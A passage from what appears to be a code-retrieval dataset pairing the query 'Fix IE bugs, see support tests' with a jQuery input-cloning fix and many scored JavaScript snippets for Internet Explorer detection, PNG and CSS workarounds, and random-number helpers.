for (var j = 0; j < width; j++) {\n //0 or 2\n var n = Math.random() > 0.5 ? 2 : 0;\n temp.push(n);\n }\n result.push(temp);\n }\n return result;\n }", "title": "" }, { "docid": "c0fbf9d067a87c50d99a71d30079f4d1", "score": "0.60116655", "text": "function random_coordinate() {\r\n var coordinate = Math.floor((Math.random() * field_size) - (field_size / 2));\r\n return coordinate;\r\n}", "title": "" }, { "docid": "0a26594b8aee85928cff61f7cbc09ea0", "score": "0.6011502", "text": "function rand(){\n\treturn Math.random() * 2.0 - 1.0;\n}", "title": "" }, { "docid": "c4b208ac877787adf6ff1fa2c270434f", "score": "0.60055774", "text": "function randomHeight(){\n var rand = Math.random() * 10;\n\t\n if (rand <= 9){\n return 12 * (rand + 1);\n }\n else if (rand > 9){\n return rand + 125;\n }\n}", "title": "" }, { "docid": "67041ec685e7f464963a3bc8bd2f6144", "score": "0.6004384", "text": "randomSpeed() {\n return 130 + Math.floor(Math.random() * 1000) % 331;\n }", "title": "" }, { "docid": "e9ff1224f37c042876aeae3d0846b26c", "score": "0.60013735", "text": "function random() {\n\t\tif (!seeded) { seed(Math.random()); }\n\n\t\tm_z = (36969 * (m_z & 65535) + (m_z >> 16)) & mask;\n\t\tm_w = (18000 * (m_w & 65535) + (m_w >> 16)) & mask;\n\t\tvar result = ((m_z << 16) + m_w) & mask;\n\t\tresult /= 4294967296;\n\t\treturn result + 0.5;\n\t}", "title": "" }, { "docid": "334979224db5c57755c8a47ff93d413f", "score": "0.59996796", "text": "function randomGenerator(){\r\n return Math.round((Math.random() * (words.length - 1)));\r\n}", "title": "" }, { "docid": "28c17aefa13b26ee1072bd3350c958c1", "score": "0.5999134", "text": "function rand() {\n return Math.round(Math.random() * 20) - 10;\n }", "title": "" } ]
b2d4e737963154f55b42968781bdcc81
Fix IE bugs, see support tests
[ { "docid": "f252ee9d9e7807e646acfdce05bfe97f", "score": "0.0", "text": "function fixInput( src, dest ) {\n\tvar nodeName = dest.nodeName.toLowerCase();\n\n\t// Fails to persist the checked state of a cloned checkbox or radio button.\n\tif ( nodeName === \"input\" && rcheckableType.test( src.type ) ) {\n\t\tdest.checked = src.checked;\n\n\t// Fails to return the selected option to the default selected state when cloning options\n\t} else if ( nodeName === \"input\" || nodeName === \"textarea\" ) {\n\t\tdest.defaultValue = src.defaultValue;\n\t}\n}", "title": "" } ]
[ { "docid": "dcb3a8814057a19f5ff81cc93d020c03", "score": "0.79065025", "text": "function patchMSIE() {\r\n\r\n }", "title": "" }, { "docid": "09d7f8f2e0258025bc337f58b6e060bd", "score": "0.7054844", "text": "function ___IE_global_fix___() { }", "title": "" }, { "docid": "cbd752301b41605164bbd54c999408eb", "score": "0.7018749", "text": "function IEFix(){\n\tif ($.browser.msie && $.browser.version == 7.0) {\n\t\t$('.b-form-holder select').closest('.b-form-line').find('label').addClass('m-label-for-select');\n\t\t$('.b-btn + .b-btn').addClass('m-ml');\n\t}\n}", "title": "" }, { "docid": "25efbf82b4a0f9660a64b3cd5458c441", "score": "0.6693215", "text": "function nonResIE() {\n if (navigator.sayswho[0].match('MSIE') && navigator.sayswho[1].substring(0,1) < '9') {\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "fc917289d55624d8d0e26719c3746f5f", "score": "0.6623364", "text": "function checkIE() {\n return !(msie > 0);\n}", "title": "" }, { "docid": "be4ccfd0f0e7c8a803d6cbf9cc69516a", "score": "0.64724827", "text": "function initFixCompatibility() {\n (0, _ie11helper2.default)();\n}", "title": "" }, { "docid": "6d02ed54017e9ebd7a3f023529650b8a", "score": "0.64245456", "text": "function iecompattest(){\nreturn (document.compatMode && document.compatMode!=\"BackCompat\")? document.documentElement : document.body\n}", "title": "" }, { "docid": "6849ff8d0b5fa8da51f1ff83462baa6b", "score": "0.63876", "text": "function PieInIE(){\n\tif ($.browser.msie && $.browser.version <= 8.0) {\n\t\t$('.l-header .b-second-bar li.m-logged .b-flyout, .b-pagination li a, .b-contact-us .b-col2 .b-icon, .b-efficacy-chart .b-col, .l-header .b-second-bar li.m-contact-btn a, .b-btn, .b-manufacturing .b-icon').each(function() {\n\t\t\tPIE.detach(this);\n\t\t\tPIE.attach(this);\n\t\t});\n\t}\n}", "title": "" }, { "docid": "ba03d852276188c4848f0002b0f34beb", "score": "0.6199286", "text": "function ie() {\n var ua = window.navigator.userAgent;\n var msie = ua.indexOf(\"MSIE \");\n if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\\:11\\./)) return true;else return false;\n}", "title": "" }, { "docid": "eb1a0b72f1a2913f1c1c6653469cd6b8", "score": "0.61739594", "text": "function NiftyCheck()\n{\nif(!document.getElementById || !document.createElement)\n return(false);\nvar b=navigator.userAgent.toLowerCase();\nif(b.indexOf(\"msie 5\")>0 && b.indexOf(\"opera\")==-1)\n return(false);\nreturn(true);\n}", "title": "" }, { "docid": "ae9a600fd98e8dbf8f4013c9d6ca5ef9", "score": "0.606388", "text": "function initializeHacks() {\n // this ugly little hack resizes a blank div to make sure you can click\n // anywhere in the window for Mac MSIE 5\n if ((navigator.appVersion.indexOf('MSIE 5') != -1) \n\t&& (navigator.platform.indexOf('Mac') != -1)\n\t&& getStyleObject('blankDiv')) {\n\twindow.onresize = explorerMacResizeFix;\n }\n resizeBlankDiv();\n // this next function creates a placeholder object for older browsers\n createFakeEventObj();\n}", "title": "" }, { "docid": "26d5d01fefa4dda7eb0cfe4ddd1c247b", "score": "0.60638344", "text": "function msieversion() {\r\n var ua = window.navigator.userAgent;\r\n var msie = ua.indexOf(\"MSIE \");\r\n if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\\:11\\./)) { \r\n var ieVersion = parseInt(ua.substring(msie + 5, ua.indexOf(\".\", msie)));\r\n if (ieVersion === 9) {$('body').addClass('no-js ie' + ieVersion);}\r\n return ieVersion;\r\n }\r\n else { return false; }\r\n }", "title": "" }, { "docid": "6c77fe3c3df1d0b687e158e522959370", "score": "0.6059617", "text": "function fixIEPngImages()\n{\n\tDEBUG.out(\"Fix PNGs.\");\n\n var arVersion = navigator.appVersion.split(\"MSIE\")\n\tvar version = parseFloat(arVersion[1])\n\n\tif ((version >= 5.5) && (document.body.filters))\n\t{\n\t for(var i=0; i<document.images.length; i++)\n\t {\n\t\t var img = document.images[i]\n\t\t var imgName = img.src.toUpperCase()\n\t\t if (imgName.substring(imgName.length-3, imgName.length) == \"PNG\")\n\t\t {\n\t\t\t var imgID = (img.id) ? \"id='\" + img.id + \"' \" : \"\"\n\t\t\t var imgClass = (img.className) ? \"class='\" + img.className + \"' \" : \"\"\n\t\t\t var imgTitle = (img.title) ? \"title='\" + img.title + \"' \" : \"title='\" + img.alt + \"' \"\n\t\t\t var imgStyle = \"display:inline-block;\" + img.style.cssText\n\t\t\t if (img.align == \"left\") imgStyle = \"float:left;\" + imgStyle\n\t\t\t if (img.align == \"right\") imgStyle = \"float:right;\" + imgStyle\n\t\t\t if (img.parentElement.href) imgStyle = \"cursor:hand;\" + imgStyle\n\t\t\t var strNewHTML = \"<span \" + imgID + imgClass + imgTitle\n\t\t\t + \" style=\\\"\" + \"width:\" + img.width + \"px; height:\" + img.height + \"px;\" + imgStyle + \";\"\n\t\t\t + \"filter:progid:DXImageTransform.Microsoft.AlphaImageLoader\"\n\t\t\t + \"(src=\\'\" + img.src + \"\\', sizingMethod='scale');\\\"></span>\"\n\t\t\t img.outerHTML = strNewHTML\n\t\t\t i = i-1\n\t\t }\n\t }\n\t}\n}", "title": "" }, { "docid": "3092d2a36c48eff11df773e2d98a6949", "score": "0.60105693", "text": "function isIE() {\r\n\treturn navigator.appName != \"Netscape\";\r\n}", "title": "" }, { "docid": "7c79038479f08e3ca53f72f53cbb1374", "score": "0.59879494", "text": "function isIE() {\n var myNav = navigator.userAgent.toLowerCase();\n return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1]) : false;\n}", "title": "" }, { "docid": "a72acebdd9211c3514c5539f783d705b", "score": "0.5966632", "text": "function fixIE6() {\n\n if (MSIE7) {\n $(\"#swBox input[type=checkbox]\").css(\"cssText\", \"background-image: url(/gfx/mapButton.gif); margin-top: -2px;\");\n // $(\"#colLeft h2\").css(\"cssText\", \"clear: both;\");\n $(\"#colLeft .facilList img\").css(\"cssText\", \"clear: both;\"); \n $(\"#colLeft ul.facilList\").css(\"cssText\", \"margin-bottom: -10px\");\n\n }\n\n if (MSIE6) {\n \n // This line made the icons on the frontpage under the searchcriteria, go down under the image // $(\"#colLeft h2\").css(\"cssText\", \"clear: both;\");\n $(\"#colLeft .facilList img\").css(\"cssText\", \"clear: both;\"); \n \n $(\"form input:checkbox\").css(\"border-style\", \"none\");\n $(\"#swBox\").css(\"padding-top\", \"1px\");\n $(\"form input:radio\").css(\"border-style\", \"none\"); \n $(\"input[type=submit][class=hiddenSubmit]\").remove();\n $(\"div.ButtonSubmit a\").css(\"cssText\", \"margin-right: 0 !important;\");\n $(\"div.ButtonNormal a\").css(\"cssText\", \"margin-right: 0 !important;\");\n $(\"div.ButtonDisabled a\").css(\"cssText\", \"margin-right: 0 !important;\");\n $(\"div.heighLighted\").css(\"padding-bottom\", \"30px\");\n $(\".subInput input\").css(\"margin-left\", \"-8px\");\n $(\"#colCenter > p\").css(\"width\", \"420px\");\n $(\".formGrid-double .heighLighted > p\").css(\"width\", \"390px\");\n $(\"#placeholdercontent_0_ctrl_SearchCriterias_but_SearchShadow\").css(\"cssText\", \"display:inline-block; width:52px; margin-right: 0 !important;\");\n $(\"#placeholdercontent_0_ctrl_SearchCriterias_but_SearchList\").css(\"cssText\", \"display:inline-block; width:52px; margin-right: 0 !important;\");\n $(\".scfSingleLineGeneralPanel\").css(\"cssText\", \"position: relative; left: -5px;\");\n $(\".scfDropListGeneralPanel\").css(\"cssText\", \"position: relative; left: -5px;\");\n $(\".scfEmailGeneralPanel\").css(\"cssText\", \"position: relative; left: -5px;\");\n $(\".scfMultipleLineGeneralPanel\").css(\"cssText\", \"position: relative; left: -5px;\");\n \n $(\"#butListSearch\").css(\"cssText\", \"width:54px;\");\n\n\n $(\"#errorBox\").css(\"background-image\", \"url(/gfx/ikon-fejl.gif)\");\n $(\"#savedBox\").css(\"background-image\", \"url(/gfx/ikon-gemt.gif)\");\n if (ActiveColor == \"gron\") {\n $(\".formSectionSubmit input\").css(\"background-image\", \"url(/gfx/knap-gron-120.gif)\");\n $(\".w190\").css(\"background-image\", \"url(/gfx/knap-gron-190.gif)\");\n $(\".w120\").css(\"background-image\", \"url(/gfx/knap-gron-120.gif)\");\n }\n \n if (ActiveColor == \"graa\") {\n $(\".formSectionSubmit input\").css(\"background-image\", \"url(/gfx/knap-graa-120.gif)\");\n $(\".w190\").css(\"background-image\", \"url(/gfx/knap-graa-190.gif)\");\n $(\".w120\").css(\"background-image\", \"url(/gfx/knap-graa-120.gif)\"); \n }\n\n if (ActiveColor == \"blaa\") {\n $(\".formSectionSubmit input\").css(\"background-image\", \"url(/gfx/knap-blaa-120.gif)\");\n $(\".w190\").css(\"background-image\", \"url(/gfx/knap-blaa-190.gif)\");\n $(\".w120\").css(\"background-image\", \"url(/gfx/knap-blaa-120.gif)\"); \n }\n\n getCSSRule(\"#simplemodal-container a.modalCloseImg\").style.left = \"575px\";\n getCSSRule(\"div.ButtonSubmit a:hover\").style.backgroundPosition = \"100% 0\";\n getCSSRule(\"div.ButtonNormal a:hover\").style.backgroundPosition = \"100% 0\";\n\n }\n\n}", "title": "" }, { "docid": "50d9c43bdc41b03531c4d330c54b52ab", "score": "0.5965388", "text": "function msieversion() {\n var ua = window.navigator.userAgent;\n var msie = ua.indexOf(\"MSIE \");\n if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\\:11\\./)) {\n var ieVersion = parseInt(ua.substring(msie + 5, ua.indexOf(\".\", msie)));\n if (ieVersion === 9) { $('body').addClass('no-js ie' + ieVersion); }\n return ieVersion;\n }\n else { return false; }\n }", "title": "" }, { "docid": "33d953755561cb9a70a33186afe84592", "score": "0.5965233", "text": "function isIE () {\n var myNav = navigator.userAgent.toLowerCase();\n return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1]) : false;\n}", "title": "" }, { "docid": "8a3802b8e8f295c570dc551f52e27646", "score": "0.5958849", "text": "function fixie_handler(element) {\n if (!/^\\s*$/.test(element.innerHTML)){\n var childs = element.children;\n if(childs.length){\n for(var fixie_i = 0; fixie_i < childs.length; fixie_i++){\n fixie_handler(childs[fixie_i]);\n }\n }\n return;\n }\n switch (element.nodeName.toLowerCase()) {\n case 'b':\n case 'em':\n case 'strong':\n case 'button':\n case 'th':\n case 'td':\n case 'title':\n case 'tr':\n element.innerHTML = fixie_fetchWord();\n break;\n\n case 'header':\n case 'cite':\n case 'caption':\n case 'mark':\n case 'q':\n case 's':\n case 'u':\n case 'small':\n case 'span':\n case 'code':\n case 'pre':\n case 'li':\n case 'dt':\n case 'h1':\n case 'h2':\n case 'h3':\n case 'h4':\n case 'h5':\n case 'h6':\n element.innerHTML = fixie_fetchPhrase();\n break;\n\n case 'footer':\n case 'aside':\n case 'summary':\n case 'blockquote':\n case 'p':\n element.innerHTML = fixie_fetchParagraph();\n break;\n\n case 'article':\n case 'section':\n element.innerHTML = fixie_fetchParagraphs()\n break;\n\n /* Special cases */\n case 'a':\n element.href = \"http://ryhan.me/\";\n element.innerHTML = \"www.\" + fixie_fetchWord() + fixie_capitalize(fixie_fetchWord()) + \".com\";\n break;\n\n case 'img':\n var src = element.getAttribute('src') || element.src;\n var temp = element.getAttribute('fixie-temp-img');\n if(src == \"\" || src == null || temp == true || temp == \"true\"){\n var width = element.getAttribute('width') || element.width || (element.width = 250);\n var height = element.getAttribute('height') || element.height || (element.height = 100);\n var title = element.getAttribute('title') || '';\n element.src = imagePlaceHolder.replace('${w}', width).replace('${h}', height).replace('${text}', title);\n element.setAttribute('fixie-temp-img', true);\n }\n break;\n\n case 'ol':\n case 'ul':\n element.innerHTML = fixie_fetchList();\n break;\n\n case 'dl':\n element.innerHTML = fixie_fetchDefinitionList();\n break;\n \n case 'hr':\n break;\n\n default:\n element.innerHTML = fixie_fetchSentence();\n }\n }", "title": "" }, { "docid": "587bf33a052b2e3174a3381e381d768a", "score": "0.5956743", "text": "function fixIeBug(string) {\n\t\t\t\tif (browser.msie) {\n\t\t\t\t\treturn string.length - string.replace(/\\r*/g, '').length;\n\t\t\t\t}\n\t\t\t\treturn 0;\n\t\t\t}", "title": "" }, { "docid": "e5a62507693c9b344b5a29e550d2449e", "score": "0.59438604", "text": "function doBrowserSpecificFixes() {\n var ua = navigator.userAgent.toLowerCase();\n if (ua.indexOf(\"gecko\") != -1) {\n // install eval wrapper on FF to avoid EvalError problem\n var __eval = window.eval;\n window.eval = function(s) {\n return __eval(s);\n }\n }\n if (ua.indexOf(\"chrome\") != -1) {\n // work around __gwt_ObjectId appearing in JS objects\n var hop = window.Object.prototype.hasOwnProperty;\n window.Object.prototype.hasOwnProperty = function(prop) {\n return prop != \"__gwt_ObjectId\" && hop.call(this, prop);\n };\n var hop2 = window.Object.prototype.propertyIsEnumerable;\n window.Object.prototype.propertyIsEnumerable = function(prop) {\n return prop != \"__gwt_ObjectId\" && hop2.call(this, prop);\n };\n // do the same in the main window if it is different from our window\n if ($wnd != window) {\n var hop3 = $wnd.Object.prototype.hasOwnProperty;\n $wnd.Object.prototype.hasOwnProperty = function(prop) {\n return prop != \"__gwt_ObjectId\" && hop3.call(this, prop);\n };\n var hop4 = $wnd.Object.prototype.propertyIsEnumerable;\n $wnd.Object.prototype.propertyIsEnumerable = function(prop) {\n return prop != \"__gwt_ObjectId\" && hop4.call(this, prop);\n };\n }\n }\n}", "title": "" }, { "docid": "a014984976011951eb20b05ea6369e0b", "score": "0.5942253", "text": "function isIE () {\n var myNav = navigator.userAgent.toLowerCase();\n return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1], 10) : false;\n }", "title": "" }, { "docid": "152ae9bc1417f8a0e5996a8772fc212a", "score": "0.59118456", "text": "function isIE9or8(){\n\t\tvar version = getInternetExplorerVersion();\n\t\treturn(version != -1 && version <= 9 && version >= 7);\n\t\t\n\t\t//return ($.browser.msie && $.browser.version <= 9 && window.XDomainRequest);\n\t}", "title": "" }, { "docid": "677aa9f28e2d8781d3eff09c17b2758d", "score": "0.59104437", "text": "function is_lt_ie9() {\n\tie_v = parseFloat(navigator.userAgent.match(/MSIE (\\d+\\.\\d+);/));\n\tif(ie_v && ie_v[1] < 9) { return true; } else { return false; };\n}", "title": "" }, { "docid": "00041206bfa21b850274241be03f085b", "score": "0.59031254", "text": "function fixIeBug(string) {\n\t\t\t\tif ($.browser.msie) {\n\t\t\t\t\treturn string.length - string.replace(/\\r/g, '').length;\n\t\t\t\t}\n\t\t\t\treturn 0;\n\t\t\t}", "title": "" }, { "docid": "2635793ca2c5a6bf1a718134cadf50b5", "score": "0.5891624", "text": "function fixIeBug(string) {\n\t\t\t\tif ($.browser.msie) {\n\t\t\t\t\treturn string.length - string.replace(/\\r*/g, '').length;\n\t\t\t\t}\n\t\t\t\treturn 0;\n\t\t\t}", "title": "" }, { "docid": "1f7327f0058987c3387dced049bbc545", "score": "0.5881813", "text": "function isIE() {\n\t\treturn typeof attachEvent !== \"undefined\" && typeof addEventListener === \"undefined\";\n\t}", "title": "" }, { "docid": "1f7327f0058987c3387dced049bbc545", "score": "0.5881813", "text": "function isIE() {\n\t\treturn typeof attachEvent !== \"undefined\" && typeof addEventListener === \"undefined\";\n\t}", "title": "" }, { "docid": "1f7327f0058987c3387dced049bbc545", "score": "0.5881813", "text": "function isIE() {\n\t\treturn typeof attachEvent !== \"undefined\" && typeof addEventListener === \"undefined\";\n\t}", "title": "" }, { "docid": "1f7327f0058987c3387dced049bbc545", "score": "0.5881813", "text": "function isIE() {\n\t\treturn typeof attachEvent !== \"undefined\" && typeof addEventListener === \"undefined\";\n\t}", "title": "" }, { "docid": "1f7327f0058987c3387dced049bbc545", "score": "0.5881813", "text": "function isIE() {\n\t\treturn typeof attachEvent !== \"undefined\" && typeof addEventListener === \"undefined\";\n\t}", "title": "" }, { "docid": "1f7327f0058987c3387dced049bbc545", "score": "0.5881813", "text": "function isIE() {\n\t\treturn typeof attachEvent !== \"undefined\" && typeof addEventListener === \"undefined\";\n\t}", "title": "" }, { "docid": "1f7327f0058987c3387dced049bbc545", "score": "0.5881813", "text": "function isIE() {\n\t\treturn typeof attachEvent !== \"undefined\" && typeof addEventListener === \"undefined\";\n\t}", "title": "" }, { "docid": "1f7327f0058987c3387dced049bbc545", "score": "0.5881813", "text": "function isIE() {\n\t\treturn typeof attachEvent !== \"undefined\" && typeof addEventListener === \"undefined\";\n\t}", "title": "" }, { "docid": "1f7327f0058987c3387dced049bbc545", "score": "0.5881813", "text": "function isIE() {\n\t\treturn typeof attachEvent !== \"undefined\" && typeof addEventListener === \"undefined\";\n\t}", "title": "" }, { "docid": "1f7327f0058987c3387dced049bbc545", "score": "0.5881813", "text": "function isIE() {\n\t\treturn typeof attachEvent !== \"undefined\" && typeof addEventListener === \"undefined\";\n\t}", "title": "" }, { "docid": "1f7327f0058987c3387dced049bbc545", "score": "0.5881813", "text": "function isIE() {\n\t\treturn typeof attachEvent !== \"undefined\" && typeof addEventListener === \"undefined\";\n\t}", "title": "" }, { "docid": "076c31708531353861783e21ab61ee80", "score": "0.5856368", "text": "function ieFixes(override){\r\n\t\tvar ieClass = 'ie-';\r\n\t\tif(s.ieVersion === 99){\r\n\t\t\tieClass+='11+';\r\n\t\t}\r\n\t\telse if(s.ieVersion < 9){\r\n\t\t\tieClass+='old';\r\n\t\t}\r\n\t\telse{\r\n\t\t\tieClass+=s.ieVersion;\r\n\t\t}\r\n\t\t$('html').addClass(ieClass);\r\n\t\t\r\n\r\n\t\t/**********************************\r\n\t\tFix for IE9's css selector limit\r\n\r\n\t\tInfo\r\n\t\t\tIE9 has a per-file css selector limit of 4096. To deal with this, grunt makes a copy of the wc-styles.css file\r\n\t\t\tand breaks it into chunks that are smaller than that. Then we use this JS to link to those files in the \r\n\t\t\thead if the browser is IE9 or below.\r\n\r\n\t\tNotes\r\n\t\t[1]\t\tIf we ever need more files than 2 *shudder*, update this array with the new file names. \r\n\t\t[2] \tFirst check to see if the split CSS files are there\r\n\t\t[3] \t...if they are then remove the original css file\r\n\t\t[4] \t...and add the new ones.\r\n\t\t**********************************/\r\n\t\tif (s.ieVersion < 10 || override === true){\r\n\t\t\tvar ieCSSFiles = [\r\n\t\t\t\t'wc-style_part_1.css',/*[1]*/\r\n\t\t\t\t'wc-style_part_2.css'\r\n\t\t\t];\r\n\t\t\tcheckUrl(s.cssFolderPath + ieCSSFiles[1], function(m){/*[2]*/\r\n\t\t\t\tif(m === 'success'){\r\n\t\t\t\t\t$(mainCSSLink).remove(); /*[3]*/\r\n\t\t\t\t\tfor (var i = 0; i < ieCSSFiles.length; i++) {/*[4]*/\r\n\t\t\t\t\t\tvar path \t= s.cssFolderPath + ieCSSFiles[i];\r\n\t\t\t\t\t\tvar link \t= document.createElement('link');\r\n\t\t\t\t\t\tlink.rel \t= 'stylesheet';\r\n\t\t\t\t\t\tlink.type \t= 'text/css';\r\n\t\t\t\t\t\tlink.href \t= path;\r\n\t\t\t\t\t\tlink.media \t= 'all';\r\n\t\t\t\t\t\tdocument.getElementsByTagName('head')[0].appendChild(link);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "076c31708531353861783e21ab61ee80", "score": "0.5856368", "text": "function ieFixes(override){\r\n\t\tvar ieClass = 'ie-';\r\n\t\tif(s.ieVersion === 99){\r\n\t\t\tieClass+='11+';\r\n\t\t}\r\n\t\telse if(s.ieVersion < 9){\r\n\t\t\tieClass+='old';\r\n\t\t}\r\n\t\telse{\r\n\t\t\tieClass+=s.ieVersion;\r\n\t\t}\r\n\t\t$('html').addClass(ieClass);\r\n\t\t\r\n\r\n\t\t/**********************************\r\n\t\tFix for IE9's css selector limit\r\n\r\n\t\tInfo\r\n\t\t\tIE9 has a per-file css selector limit of 4096. To deal with this, grunt makes a copy of the wc-styles.css file\r\n\t\t\tand breaks it into chunks that are smaller than that. Then we use this JS to link to those files in the \r\n\t\t\thead if the browser is IE9 or below.\r\n\r\n\t\tNotes\r\n\t\t[1]\t\tIf we ever need more files than 2 *shudder*, update this array with the new file names. \r\n\t\t[2] \tFirst check to see if the split CSS files are there\r\n\t\t[3] \t...if they are then remove the original css file\r\n\t\t[4] \t...and add the new ones.\r\n\t\t**********************************/\r\n\t\tif (s.ieVersion < 10 || override === true){\r\n\t\t\tvar ieCSSFiles = [\r\n\t\t\t\t'wc-style_part_1.css',/*[1]*/\r\n\t\t\t\t'wc-style_part_2.css'\r\n\t\t\t];\r\n\t\t\tcheckUrl(s.cssFolderPath + ieCSSFiles[1], function(m){/*[2]*/\r\n\t\t\t\tif(m === 'success'){\r\n\t\t\t\t\t$(mainCSSLink).remove(); /*[3]*/\r\n\t\t\t\t\tfor (var i = 0; i < ieCSSFiles.length; i++) {/*[4]*/\r\n\t\t\t\t\t\tvar path \t= s.cssFolderPath + ieCSSFiles[i];\r\n\t\t\t\t\t\tvar link \t= document.createElement('link');\r\n\t\t\t\t\t\tlink.rel \t= 'stylesheet';\r\n\t\t\t\t\t\tlink.type \t= 'text/css';\r\n\t\t\t\t\t\tlink.href \t= path;\r\n\t\t\t\t\t\tlink.media \t= 'all';\r\n\t\t\t\t\t\tdocument.getElementsByTagName('head')[0].appendChild(link);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "d04d1871b31da43327f469c8f88e2adc", "score": "0.5847005", "text": "function isIE() {\n var myNav = navigator.userAgent.toLowerCase();\n return myNav.indexOf(\"msie\") != -1\n ? parseInt(myNav.split(\"msie\")[1], 10)\n : false;\n }", "title": "" }, { "docid": "0fdd5447c68cccea46ff4f4058729e3a", "score": "0.58218336", "text": "function patchIEEvent(event) {\n\n event.preventDefault = function () {\n event.returnValue = false;\n };\n\n if (!event.target) {\n event.target = event.srcElement;\n }\n\n return event;\n }", "title": "" }, { "docid": "29b1ebe4670d87e7bd76e7e11c7c011d", "score": "0.5786045", "text": "function isBrowserIE() {\n\t if (window.navigator && window.navigator.userAgent) {\n\t var ua = window.navigator.userAgent;\n\t\n\t return ua.indexOf('Trident/7.0') > 0 || ua.indexOf('Trident/6.0') > 0;\n\t }\n\t\n\t return false;\n\t}", "title": "" }, { "docid": "753cbb12952f799dc58dad4b0ab33ca0", "score": "0.57718444", "text": "isBrowserIE () {\n\t\treturn !!(document.documentMode && document.documentMode >= 9)\n\t}", "title": "" }, { "docid": "2de515d5010197d6bc4399f0306b6676", "score": "0.57591194", "text": "function IsIE() \r\n{\r\n\t\r\n\tif (navigator.userAgent.indexOf('MSIE')>-1)\r\n\t\treturn true;\r\n\telse\r\n\t\treturn false;\r\n}", "title": "" }, { "docid": "3d27be4efecb0d234ca4d60831bd35ff", "score": "0.5741787", "text": "function isOldIE() {\n var opts = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n var navigator = _globals__WEBPACK_IMPORTED_MODULE_0__[\"window\"].navigator || {};\n var userAgent = opts.userAgent || navigator.userAgent; // We only care about older versions of IE (IE 11 and below). Newer versions of IE (Edge)\n // have much better web standards support.\n\n var isMSIE = userAgent.indexOf('MSIE ') !== -1;\n var isTrident = userAgent.indexOf('Trident/') !== -1;\n return isMSIE || isTrident;\n}", "title": "" }, { "docid": "19dfb02b2f0f4874072568075cb15de9", "score": "0.57389915", "text": "function usingIE() {\n return navigator.appVersion.match(/\\.NET/i) !== null;\n}", "title": "" }, { "docid": "51f57acd5162a848e53a734e05384443", "score": "0.5727361", "text": "function mlib_is_ie() {\n var myNav = navigator.userAgent.toLowerCase();\n return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1]) : 1000;\n}", "title": "" }, { "docid": "9cf1e0ff6440ddc7fd4d7bdb69e88d88", "score": "0.57225823", "text": "function isIE7OrIE8(){\n\tvar version = $.browser.version;\n\tvar idx7 = version.indexOf(\"7.\"); //e' = a 0 se la versione e' un 7.x\n\tvar idx8 = version.indexOf(\"8.\"); //e' = a 0 se la versione e' un 8.x\n\treturn (idx7 == 0 || idx8 == 0 );\n}", "title": "" }, { "docid": "c9239d6f259aadef0c521f4ddbca688d", "score": "0.57210606", "text": "function isIE() {\r\n var ua = window.navigator.userAgent;\r\n var msie = ua.indexOf(\"MSIE \");\r\n\r\n if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\\:11\\./)) {\r\n return true;\r\n }\r\n\r\n return false;\r\n }", "title": "" }, { "docid": "e1442216f99190ea734c946e9727012d", "score": "0.5685911", "text": "function correctPNGs() {\n\tif(navigator.appVersion.lastIndexOf('Win') != -1) {\n\t\t//Detect IE Version \n\t\tvar versionCode=0\n\t\tif (navigator.appVersion.indexOf(\"MSIE\")!=-1){\n\t\t\ttemp=navigator.appVersion.split(\"MSIE\")\n\t\t\tversionCode=parseFloat(temp[1])\n\t\t}\n\t\tif ((versionCode>0) && (versionCode<7)) {\n\t\t\tfor(var i=0; i<document.images.length; i++) {\n\t\t\t\tvar img = document.images[i]\n\n\t\t\t\tif (correctPNG(img)) {\n\t\t\t\t\ti = i - 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "24fc3c7cd9f06636ca3e46b194e8acdd", "score": "0.56838673", "text": "function InitBrowserSettings() {\n if (/msie/.test(navigator.userAgent.toLowerCase())) { // Identify browser for IE9-IE10.\n document.onselectstart = function () { return false; };\n } else if (!!window.ActiveXObject || \"ActiveXObject\" in window) { // Identify browser for IE11.\n document.onselectstart = function () { return false; };\n }\n}", "title": "" }, { "docid": "1868c0fe66535933d2ad93b4a5b499b7", "score": "0.5672351", "text": "function IEClickHack(el) {\n el.style.backgroundImage = 'url(\"iepixel.gif\")';\n}", "title": "" }, { "docid": "480894b2a9c8407a21af4dfdeedb567e", "score": "0.5668313", "text": "function fixSvgScaleIE(ratio) {\r\n var svgLoader = document.getElementById(\"svg-loader\"),\r\n newWidth = svgLoader.offsetWidth,\r\n newHeight = newWidth / ratio,\r\n svgEl = document.getElementById(\"svg\");\r\n svgEl.style.width = newWidth + \"px\";\r\n svgEl.style.height = newHeight + \"px\";\r\n}", "title": "" }, { "docid": "eb24954dc0abdd76ad67683c9fd4fcd2", "score": "0.56612855", "text": "function msieversion()\n\t {\n\t var ua = window.navigator.userAgent\n\t var msie = ua.indexOf ( \"MSIE \" )\n\n\t if ( msie > 0 ) { // If Internet Explorer, return version number\n\t \tvar version = parseInt (ua.substring (msie+5, ua.indexOf (\".\", msie )));\n\t \tif(version <= 8){\n\t \t$('html').addClass(\"lt-ie9\");\n\t \t$('#FINRA_header, #FINRA_footer, #FINRA_responsive').css('font-size', '14px').addClass(\"finra_normalize_prefix\");\n\t \t$('#FINRA_header').append('<link rel=\"stylesheet\" href=\"/finra-theme.no-query.css\"/>');\n\n\n\t \t}\n\t return parseInt (ua.substring (msie+5, ua.indexOf (\".\", msie )))\n\t }\n\t else // If another browser, return 0\n\t return 0\n\t }", "title": "" }, { "docid": "50b2fc686474841757f9c16b490114cb", "score": "0.5660615", "text": "function isIE6() {\n return /msie|MSIE 6/.test(navigator.userAgent);\n}", "title": "" }, { "docid": "c777aec73834339d804ef7c1cad1e567", "score": "0.5649665", "text": "function isOldIE(opts = {}) {\n const navigator = typeof window !== 'undefined' ? window.navigator || {} : {};\n const userAgent = opts.userAgent || navigator.userAgent || '';\n // We only care about older versions of IE (IE 11 and below). Newer versions of IE (Edge)\n // have much better web standards support.\n const isMSIE = 